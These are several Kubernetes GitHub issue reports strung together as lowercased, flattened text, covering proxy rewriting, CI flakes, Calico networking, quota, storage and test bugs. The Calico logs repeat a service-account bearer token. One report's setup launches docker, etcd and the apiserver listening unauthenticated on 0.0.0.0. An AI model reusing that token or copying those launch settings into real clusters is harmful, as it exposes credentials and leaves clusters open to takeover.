springboarding off https://github.com/kubernetes/kubernetes/issues/17032 issuecomment-155622936: right now,  kubectl proxy   and the apiserver proxy  can't handle applications that do things like request absolute urls in javascript. as more and more modern frameworks do this, this is going to limit the usefulness of the proxy. a proposal for a possibly evil way to handle this in  kubectl proxy : - for the api proxy alone  i.e. not the static content proxy : responses get tagged with a session cookie that identifies the original url, e.g.  /api/v1/proxy/namespaces/default/services/zeppelin . - for all incoming requests, we first check for a cookie and modify the request before it hits the mux, if it has a cookie and _isn't_ prefixed with  /api   because the apiserver is doing rewrites here too, for good or ill . for the above cookie, we would prepend  /api/v1/proxy/namespaces/default/services/zeppelin  to the request.  i think the biggest wart on the solution is that on the client side it doesn't look it's possible to tell the difference between  /api/v1/proxy/namespaces/default/services/zeppelin  and, say,  /api/v1/proxy/namespaces/default/services/zeppelin/ / , without hacking to hack the url namespace  which seems kind of gross . the latter is an actual url that zeppelin redirects to almost immediately, so if you whack on your browser bar and end up saving that url, it's certainly a valid use case.  i'm probably missing something obvious, and it's obviously not perfect, but i bet it solves  17032 and others we haven't seen yet.  cc @brendandburns @liggitt

ref https://github.com/kubernetes/kubernetes/issues/20229  we didnt discuss this in the federated servers proposal. do we need a single complete swagger spec of the federated cluster? so that the same client  which might use swagger spec, for ex: kubectl  can work the same way with a single server or with a federated cluster?  the summarizer will fetch spec from all servers, summarize them and expose it at  /swagger-spec .  thoughts?  @lavalamp @smarterclayton @kubernetes/sig-api-machinery @bgrant0607 @kubernetes/kubectl

the proposal mentions that only always or never is supported.  i don't see any reason not to support onfailure  and that's the way it's implemented .  if there's agreement, i'll update the proposal.

mentioned elsewhere, but not fully covered in an issue.\r \r need to add a finalizer to wipe out etcd data on object deletion.\r \r @kubernetes/sig-api-machinery

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master\r \r   what happened  :\r    \r e0306 07:26:10.013767    3385 event.go:259  could not construct reference to: '&v1.node{...}' due to: 'selflink was empty, can't make reference'. will not report event: 'normal' 'nodeallocatableenforced' '       updated node allocatable limit across pods'\r    \r

ci-kubernetes-e2e-gke-reboot has been flaking for the last couple of days.\r \r https://k8s-testgrid.appspot.com/release-master-blocking gke-reboot\r \r seeing a lot of errors that look like:\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:122\r jun  8 18:43:57.650: test failed; at least one node failed to reboot in the time given.\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/reboot.go:168\r    \r \r also the logs are saying something about failing to pull images:\r \r > i0608 18:33:48.649  jun  8 18:33:48.608: info: event for kube-dns-2836479273-b44kg: {kubelet gke-bootstrap-e2e-default-pool-44cef888-1bwq} failed: failed to pull image \ gcr.io/google_containers/k8s-dns-kube-dns-amd64:1.14.2\ : rpc error: code = 2 desc = failed to register layer: rename /var/lib/docker/image/aufs/layerdb/tmp/layer-969822486 /var/lib/docker/image/aufs/layerdb/sha256/60ab55d3379d47c1ba6b6225d59d10e1f52096ee9d5c816e42c635ccc57a5a2b: directory not empty\r > i0608 18:33:48.649  jun  8 18:33:48.608: info: event for kube-dns-2836479273-b44kg: {kubelet gke-bootstrap-e2e-default-pool-44cef888-1bwq} failed: failed to pull image \ gcr.io/google_containers/k8s-dns-dnsmasq-nanny-amd64:1.14.2\ : rpc error: code = 2 desc = failed to register layer: rename /var/lib/docker/image/aufs/layerdb/tmp/layer-099381612 /var/lib/docker/image/aufs/layerdb/sha256/7cbcbac42c44c6c38559e5df3a494f44987333c8023a40fec48df2fce1fc146b: directory not empty\r > i0608 18:33:48.649  jun  8 18:33:48.608: info: event for kube-dns-2836479273-b44kg: {kubelet gke-bootstrap-e2e-default-pool-44cef888-1bwq} failed: failed to pull image \ gcr.io/google_containers/k8s-dns-sidecar-amd64:1.14.2\ : rpc error: code = 2 desc = failed to register layer: rename \r \r last three failures:\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-reboot/5335\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-reboot/5334\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-reboot/5333\r \r cc @kubernetes/kubernetes-release-managers @dchen1107

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r  root@master3 ~   kubectl get nodes\r name            status    age       version\r jenkins-2       ready     2d        v1.6.4\r node1.txg.com   ready     3d        v1.6.4\r node2.txg.com   ready     2d        v1.6.4\r node3.txg.com   ready     3d        v1.6.4\r node4.txg.com   ready     2d        v1.6.4\r  root@master3 ~   \r \r \r   environment  :\r centos7 vm\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r centos7\r -   kernel    e.g.  uname -a  :\r  root@node1 ~   uname -a\r linux node1.txg.com 4.4.71-1.el7.elrepo.x86_64  1 smp wed jun 7 12:08:54 edt 2017 x86_64 x86_64 x86_64 gnu/linux\r \r -   install tools  :\r \r -   others  :\r \r \r   what happened  :\r \r \r   what you expected to happen  :\r \r \r   how to reproduce it    as minimally and precisely as possible :\r   calico version v2.1.5\r   http://docs.projectcalico.org/v2.1/releases v2.1.5\r   this manifest includes the following component versions:\r     calico/node:v1.1.3\r     calico/cni:v1.8.0\r     calico/kube-policy-controller:v0.5.4\r \r   anything else we need to know  :\r \r kubernetes version v1.6.4\r calico cni network cannot create\r some nodes cannot be created calico networks kubelet error\r \r kubelet 1.5 has no problem at all, the same configuration!\r this kubelet bug!\r \r    \r  kubectl create -f /root/nginx.yaml\r  root@master3 ~   kubectl get pod -o wide\r \r name                                     ready     status              restarts   age       ip              node\r nfs-client-provisioner-278618947-z32dw   1/1       running             5          1d        172.1.160.224   node4.txg.com\r nginx-3950648766-6b3d2                   0/1       containercreating   0          37s       <none>          node1.txg.com\r nginx-3950648766-c0scf                   0/1       containercreating   0          37s       <none>          node3.txg.com\r nginx-3950648766-nss09                   1/1       running             0          37s       172.1.24.214    jenkins-2\r nginx-3950648766-tcw1s                   1/1       running             0          37s       172.1.160.229   node4.txg.com\r nginx-3950648766-vq7mk                   1/1       running             0          37s       172.1.27.146    node2.txg.com\r \r  \r nginx-3950648766-6b3d2                   0/1       containercreating   0          37s       <none>          node1.txg.com\r nginx-3950648766-c0scf                   0/1       containercreating   0          37s       <none>          node3.txg.com\r \r jun 13 13:06:27 node1 kubelet: time=\ 2017-06-13t13:06:27+08:00\  level=info msg=\ configured environment:  lang=en_us.utf-8 path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin cni_command=del cni_containerid=96bb81b2e6aa45510954d8b3386c3f66e6b9727024ae591f8519facc8f319765 cni_netns= cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=default;k8s_pod_name=nginx-3950648766-6b3d2;k8s_pod_infra_container_id=96bb81b2e6aa45510954d8b3386c3f66e6b9727024ae591f8519facc8f319765 cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=https://192.168.1.65:2379,https://192.168.1.66:2379,https://192.168.1.67:2379 etcd_key_file=/etc/cni/net.d/calico-tls/etcd-key etcd_cert_file=/etc/cni/net.d/calico-tls/etcd-cert etcd_ca_cert_file=/etc/cni/net.d/calico-tls/etcd-ca kubeconfig=/etc/cni/net.d/calico-kubeconfig k8s_api_token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwxnbtj4iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioiixmduzmdzlmc00y2qwltexztctywi4zc01mju0mda4mwmwnmeilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.o9lzj4situdjfxq9xtxxa6uzlpm1ojsh0gmz24ofa5kvrleqcdnuuot19uyprl2oekc48l-olj-pgxmmng4vc5tripoqmvptr7v573gyeb4fhkwx01l1ymecfsz6lgiqynzczudycpceeil5o8vry9tlrlx5mcjxl7vmihpkrzbah1pixebzme1tyff3wdqasqp8cixn8tbc3rlm0twk8bqt1pe4ovditj05nw7edqktc_r1nztaosk7c9d2rw1mojl-hkrdd4gy13pzinhczr6ppyff0w5llom7odda6ge5zkadtxcbl8pjobxyrnzrfu3cmf-ecpfmd9pmavxksw \ \r jun 13 13:06:27 node1 kubelet: time=\ 2017-06-13t13:06:27+08:00\  level=info msg=\ loading config from environment\ \r jun 13 13:06:27 node1 kubelet: 2017-06-13 13:06:27.879550 i | warning: ignoring servername for user-provided ca for backwards compatibility is deprecated\r jun 13 13:06:27 node1 kubelet: time=\ 2017-06-13t13:06:27+08:00\  level=info msg=\ releasing address using workloadid\  workload=default.nginx-3950648766-6b3d2\r jun 13 13:06:27 node1 kubelet: time=\ 2017-06-13t13:06:27+08:00\  level=info msg=\ releasing all ips with handle 'default.nginx-3950648766-6b3d2'\ \r jun 13 13:06:27 node1 kubelet: time=\ 2017-06-13t13:06:27+08:00\  level=warning msg=\ asked to release address but it doesn't exist. ignoring\  workload=default.nginx-3950648766-6b3d2 workloadid=default.nginx-3950648766-6b3d2\r jun 13 13:06:30 node1 kubelet: time=\ 2017-06-13t13:06:30+08:00\  level=info msg=\ extracted identifiers\  node=node1.txg.com orchestrator=k8s workload=default.nginx-3950648766-6b3d2\r jun 13 13:06:30 node1 kubelet: time=\ 2017-06-13t13:06:30+08:00\  level=info msg=\ loaded cni netconf\  netconfg={ k8s-pod-network calico { calico-ipam  <nil> <nil>      } 0     https://192.168.1.65:2379,https://192.168.1.66:2379,https://192.168.1.67:2379 info {k8s https://172.1.0.1:443 eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwxnbtj4iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioiixmduzmdzlmc00y2qwltexztctywi4zc01mju0mda4mwmwnmeilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.o9lzj4situdjfxq9xtxxa6uzlpm1ojsh0gmz24ofa5kvrleqcdnuuot19uyprl2oekc48l-olj-pgxmmng4vc5tripoqmvptr7v573gyeb4fhkwx01l1ymecfsz6lgiqynzczudycpceeil5o8vry9tlrlx5mcjxl7vmihpkrzbah1pixebzme1tyff3wdqasqp8cixn8tbc3rlm0twk8bqt1pe4ovditj05nw7edqktc_r1nztaosk7c9d2rw1mojl-hkrdd4gy13pzinhczr6ppyff0w5llom7odda6ge5zkadtxcbl8pjobxyrnzrfu3cmf-ecpfmd9pmavxksw   } { /etc/cni/net.d/calico-kubeconfig } {{{ {  }}}}  /etc/cni/net.d/calico-tls/etcd-key /etc/cni/net.d/calico-tls/etcd-cert /etc/cni/net.d/calico-tls/etcd-ca} workload=default.nginx-3950648766-6b3d2\r jun 13 13:06:30 node1 kubelet: time=\ 2017-06-13t13:06:30+08:00\  level=info msg=\ configured environment:  lang=en_us.utf-8 path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin cni_command=add cni_containerid=09d7f77434e6bd57abc2418d3bae865be238a1b5964e131548a96757c8be9a44 cni_netns=/proc/15016/ns/net cni_args=ignoreunknown=1;ignoreunknown=1;k8s_pod_namespace=default;k8s_pod_name=nginx-3950648766-6b3d2;k8s_pod_infra_container_id=09d7f77434e6bd57abc2418d3bae865be238a1b5964e131548a96757c8be9a44 cni_ifname=eth0 cni_path=/opt/cni/bin:/opt/calico/bin etcd_endpoints=https://192.168.1.65:2379,https://192.168.1.66:2379,https://192.168.1.67:2379 etcd_key_file=/etc/cni/net.d/calico-tls/etcd-key etcd_cert_file=/etc/cni/net.d/calico-tls/etcd-cert etcd_ca_cert_file=/etc/cni/net.d/calico-tls/etcd-ca kubeconfig=/etc/cni/net.d/calico-kubeconfig k8s_api_token=eyjhbgcioijsuzi1niisinr5cci6ikpxvcj9.eyjpc3mioijrdwjlcm5ldgvzl3nlcnzpy2vhy2nvdw50iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9uyw1lc3bhy2uioijrdwjllxn5c3rlbsisimt1ymvybmv0zxmuaw8vc2vydmljzwfjy291bnqvc2vjcmv0lm5hbwuioijkzwzhdwx0lxrva2vulwxnbtj4iiwia3vizxjuzxrlcy5pby9zzxj2awnlywnjb3vudc9zzxj2awnllwfjy291bnqubmftzsi6imrlzmf1bhqilcjrdwjlcm5ldgvzlmlvl3nlcnzpy2vhy2nvdw50l3nlcnzpy2utywnjb3vudc51awqioiixmduzmdzlmc00y2qwltexztctywi4zc01mju0mda4mwmwnmeilcjzdwiioijzexn0zw06c2vydmljzwfjy291bnq6a3vizs1zexn0zw06zgvmyxvsdcj9.o9lzj4situdjfxq9xtxxa6uzlpm1ojsh0gmz24ofa5kvrleqcdnuuot19uyprl2oekc48l-olj-pgxmmng4vc5tripoqmvptr7v573gyeb4fhkwx01l1ymecfsz6lgiqynzczudycpceeil5o8vry9tlrlx5mcjxl7vmihpkrzbah1pixebzme1tyff3wdqasqp8cixn8tbc3rlm0twk8bqt1pe4ovditj05nw7edqktc_r1nztaosk7c9d2rw1mojl-hkrdd4gy13pzinhczr6ppyff0w5llom7odda6ge5zkadtxcbl8pjobxyrnzrfu3cmf-ecpfmd9pmavxksw \ \r jun 13 13:06:30 node1 kubelet: time=\ 2017-06-13t13:06:30+08:00\  level=info msg=\ loading config from environment\ \r jun 13 13:06:30 node1 kubelet: 2017-06-13 13:06:30.538481 i | warning: ignoring servername for user-provided ca for backwards compatibility is deprecated\r jun 13 13:06:30 node1 kubelet: i0613 13:06:30.552847    1349 operation_generator.go:597  mountvolume.setup succeeded for volume \ kubernetes.io/secret/3ae79124-4e6f-11e7-85cd-52540081c06a-default-token-lgm2x\   spec.name: \ default-token-lgm2x\   pod \ 3ae79124-4e6f-11e7-85cd-52540081c06a\   uid: \ 3ae79124-4e6f-11e7-85cd-52540081c06a\  .\r jun 13 13:06:30 node1 kubelet: calico cni checking for existing endpoint: <nil>\r jun 13 13:06:30 node1 kubelet: time=\ 2017-06-13t13:06:30+08:00\  level=info msg=\ extracted identifiers for cmdaddk8s\  node=node1.txg.com orchestrator=k8s workload=default.nginx-3950648766-6b3d2\r jun 13 13:06:30 node1 kubelet: e0613 13:06:30.870062    1349 cni.go:257  error adding network: the server does not allow access to the requested resource  get pods nginx-3950648766-6b3d2 \r jun 13 13:06:30 node1 kubelet: e0613 13:06:30.870718    1349 cni.go:211  error while adding to cni network: the server does not allow access to the requested resource  get pods nginx-3950648766-6b3d2 \r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.877113    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open /proc/15016/ns/net: no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.886304    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.902117    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.917711    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.925323    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.935989    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.947595    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.954916    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.968116    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.975409    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:30 node1 kubelet: w0613 13:06:30.990380    1349 docker_sandbox.go:263  networkplugin cni failed on the status hook for pod \ nginx-3950648766-6b3d2_default\ : unexpected command output nsenter: cannot open : no such file or directory\r jun 13 13:06:30 node1 kubelet: with error: exit status 1\r jun 13 13:06:32 node1 kubelet: e0613 13:06:32.027764    1349 remote_runtime.go:86  runpodsandbox from runtime service failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \ nginx-3950648766-6b3d2_default\  network: the server does not allow access to the requested resource  get pods nginx-3950648766-6b3d2 \r jun 13 13:06:32 node1 kubelet: e0613 13:06:32.027854    1349 kuberuntime_sandbox.go:54  createpodsandbox for pod \ nginx-3950648766-6b3d2_default a7bb9223-4ff4-11e7-85cd-52540081c06a \  failed: rpc error: code = 2 desc = networkplugin cni failed to set up pod \ nginx-3950648766-6b3d2_default\  network: the server does not allow access to the requested resource  get pods nginx-3950648766-6b3d2 \r @                                                                                                                                                                                 \r    \r

is this a bug report or feature request?  : bug report\r \r  \r   what happened  :\r \r my cluster is made of 4 nodes, running pods that are using rw attached gce disks.\r \r some of the nodes end-up in \ notready\  state. i can still ssh the nodes, and they seem alive, but for some reason they are reported as \ notready\ . they probably fall in that state because of another bug, but i don't know or want to investigate that reason now  might be relevant or not, sorry .\r \r the pods on these nodes end-up in a \ unknown\  state, where they can't be killed in any way, or removed. the kubernetes deployment recreates these pods, but unfortunately, they can't mount the disks that haven't been detached by the \ unknown\  pods. i end-up with a completely broken infrastructure where none of my pod go back into a working state. i have to ssh the \ dead\  machine and reboot it to leave that broken state.\r \r /sig-storage\r cc @saad-ali \r \r   what you expected to happen  :\r i want the \ unknown\  pods to either die or release the disks so that another pod can be created to replace them.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r master and nodes are running 1.6.6, this is happening on gke.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   resourcequota got something wrong when stop kube-controller-manager for a while  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r \r \r   what happened  :\r i create a resourcequota in default namespace with restriction of 2 pods. then i create an replicationcontroller with 1 pod and i stop kube-controller-manager  service. i create another two replicationcontrollers,  and then start kube-controller-manager  service。now i can get three running pods in default namespace。\r \r \r   what you expected to happen  :\r the pod  belong to the third replicationcontroller cannot be created since the quota restriction.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1 create a resource quota:\r    yaml\r apiversion: v1\r kind: resourcequota\r metadata:\r   name: default\r   namespace: default\r spec:\r   hard:\r     pods: 2\r    \r 2 create the first replicationcontroller with one pod:\r \r 3 stop kube-controller-manager service\r \r 4 create the second replicationcontroller with one pod\r \r 5 create the third replicationcontroller with one pod\r \r 6 start kube-controller-manager service\r \r 7 \ kubectl get pods\  can get three running pods.\r    \r name            ready     status    restarts   age\r ubuntu1-dnkfr   1/1       running   0          41s\r ubuntu2-pdwht   1/1       running   0          3s\r ubuntu3-2fjt5   1/1       running   0          3s\r    \r \r   anything else we need to know?  :\r i think the main reason is the listfuncbynamespace func in /pkg/quota/generic/evaluator.go return empty when kube-controller-manager starts. but i don't know how to fix it.\r    \r // listresourceusinginformerfunc returns a listing function based on the shared informer factory for the specified resource.\r func listresourceusinginformerfunc f informers.sharedinformerfactory, groupresource unversioned.groupresource  listfuncbynamespace {\r \treturn func namespace string, options api.listoptions     runtime.object, error  {\r \t\tinformer, err := f.forresource groupresource \r \t\tif err != nil {\r \t\t\treturn nil, err\r \t\t}\r \t\treturn informer.lister  .bynamespace namespace .list options.labelselector \r \t}\r }\r    \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+08e0995\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ not a git tree\ , builddate:\ 2017-08-16t11:35:23z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.2+08e0995\ , gitcommit:\ 08e099554f3c31f6e6f07b448ab3ed78d0520507\ , gittreestate:\ not a git tree\ , builddate:\ 2017-08-16t11:35:23z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration  :\r virtualmachine in virtualbox\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r linux fankang 4.4.0-92-generic  115-ubuntu smp thu aug 10 09:04:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r    \r  dockerd -h 0.0.0.0:4243 -h unix:///var/run/docker.sock &>> /var/log/docker.log & \r  etcd --data-dir=/home/fankang/data/etcd150/ --listen-client-urls http://0.0.0.0:4001 --advertise-client-urls http://0.0.0.0:4001 &>> /var/log/etcd.log & \r  kube-apiserver --logtostderr=true --v=0 --etcd-servers=http://localhost:4001 --insecure-bind-address=0.0.0.0 --allow-privileged=false --service-cluster-ip-range=10.100.0.0/16 --admission-control=namespacelifecycle,namespaceexists,limitranger,resourcequota --client-ca-file=/etc/kubernetes/security/serverkey/ca.crt --tls-private-key-file=/etc/kubernetes/security/serverkey/server.key --tls-cert-file=/etc/kubernetes/security/serverkey/server.crt &>> /var/log/kube-apiserver.log & \r  kube-controller-manager --logtostderr=true --v=0 --kubeconfig=/root/.kube/config &>> /var/log/kube-controller-manager.log & \r  kube-scheduler --logtostderr=true --v=0 --kubeconfig=/root/.kube/config &>> /var/log/kube-scheduler.log & \r  kube-proxy --logtostderr=true --v=0 --kubeconfig=/root/.kube/config &>> /var/log/kube-proxy.log & \r  kubelet --logtostderr=true --v=0 --address=0.0.0.0 --allow-privileged=false --pod-infra-container-image=pause:0.8.0 --cpu-cfs-quota=true --kubeconfig=/root/.kube/config --require-kubeconfig=true &>> /var/log/kubelet.log & \r    \r - others:\r

the following e2e is failing continuously on our  5k-node  https://k8s-testgrid.appspot.com/sig-release-master-blocking gce-scale-correctness   and  2k-node  https://k8s-testgrid.appspot.com/sig-scalability-gce gce-large-correctness   correctness jobs:\r \r    \r firewall rule should have correct firewall rules for e2e cluster\r    \r \r due to some misconfiguration:\r \r    \r incorrect source ranges  10.64.0.0/11 , expected  10.64.0.0/14 : found differences: map 10.64.0.0/11:{} \r    \r \r the job is part of  release-master-blocking suite  https://k8s-testgrid.appspot.com/sig-release-master-blocking  and needs to be fixed asap.\r \r cc @kubernetes/sig-network-bugs

there are two things attach detach controller do in  reconciler:\r -  reconcile  \r -  sync  \r at the sync  , take cinder plugin for example, it calls volumesareattached    https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l181  to check the volume status with a node, if the volume is not attached, then will call actualstateofworld.markvolumeasdetached    https://github.com/kubernetes/kubernetes/blob/master/pkg/volume/util/operationexecutor/operation_generator.go l192  to remove the volume from asw. the reconcile   will do the attach operation again for the removed volume.\r \r the issue is:\r \r volumesareattached   calls attacher.cinderprovider.disksareattached  , \r \r    \r func  os  openstack  disksareattached instanceid string, volumeids   string   map string bool, error  {\r \tattached := make map string bool \r \tfor _, volumeid := range volumeids {\r \t\tisattached, _ := os.diskisattached instanceid, volumeid \r \t\tattached volumeid  = isattached\r \t}\r \treturn attached, nil\r }\r    \r disksareattached   calls diskisattached  \r \r    \r // diskisattached queries if a volume is attached to a compute instance\r func  os  openstack  diskisattached instanceid, volumeid string   bool, error  {\r \tvolume, err := os.getvolume volumeid \r \tif err != nil {\r \t\treturn false, err\r \t}\r \r \treturn instanceid == volume.attachedserverid, nil\r }\r    \r \r if os.getvolume return errors which maybe caused by cinder down or something else , then it will return the bool value as  false , that means the volume will be mark as not detached at disksareattached  . then  actualstateofworld.markvolumeasdetached  will be called to mark the volume as detached. during this time, delete  the pod that using the volume , the volume will not be detached.\r \r @dims  @jingxu97  can you help to check this issue?\r \r for the diskisattached   called by attach   , any error returned by  os.getvolume   will be treated as the volume not attached, that make sense. but at disksareattached  , which is  used to reconcile the attached volume, if  os.getvolume   has errors, is it better to treated the volume had been attached but not detached?\r \r \r \r \r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r as we discussed in device plugins work tracker https://github.com/kubernetes/kubernetes/issues/53497: we need to test device plugin integration with stub e2e in scale and soak test suites.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r  \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r  \r  \r   what happened  :\r \r the tests under   test/e2e/autoscaling/cluster_size_autoscaling.go   will run only for the   gce, gke   providers, which is checked in   beforeeach   1 . but during   aftereach  , it will wrongfully wait for the number ready nodes to \ return\  to the original   expectednumber  , which is set to 0, as   originalsizes   is empty. the wait time is 20 minutes. this can be seen from the logs 2 . \r \r  1  https://github.com/kubernetes/kubernetes/blob/73790b8f6d9e878c13401b7139d0221b5a9698d6/test/e2e/autoscaling/cluster_size_autoscaling.go l98\r  2  https://paste.ubuntu.com/p/5ymksjt3vk/\r \r   what you expected to happen  :\r \r the tests should just be skipped entirely if the provider is not   gce, gke  , not just the   beforeeach   step. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run the   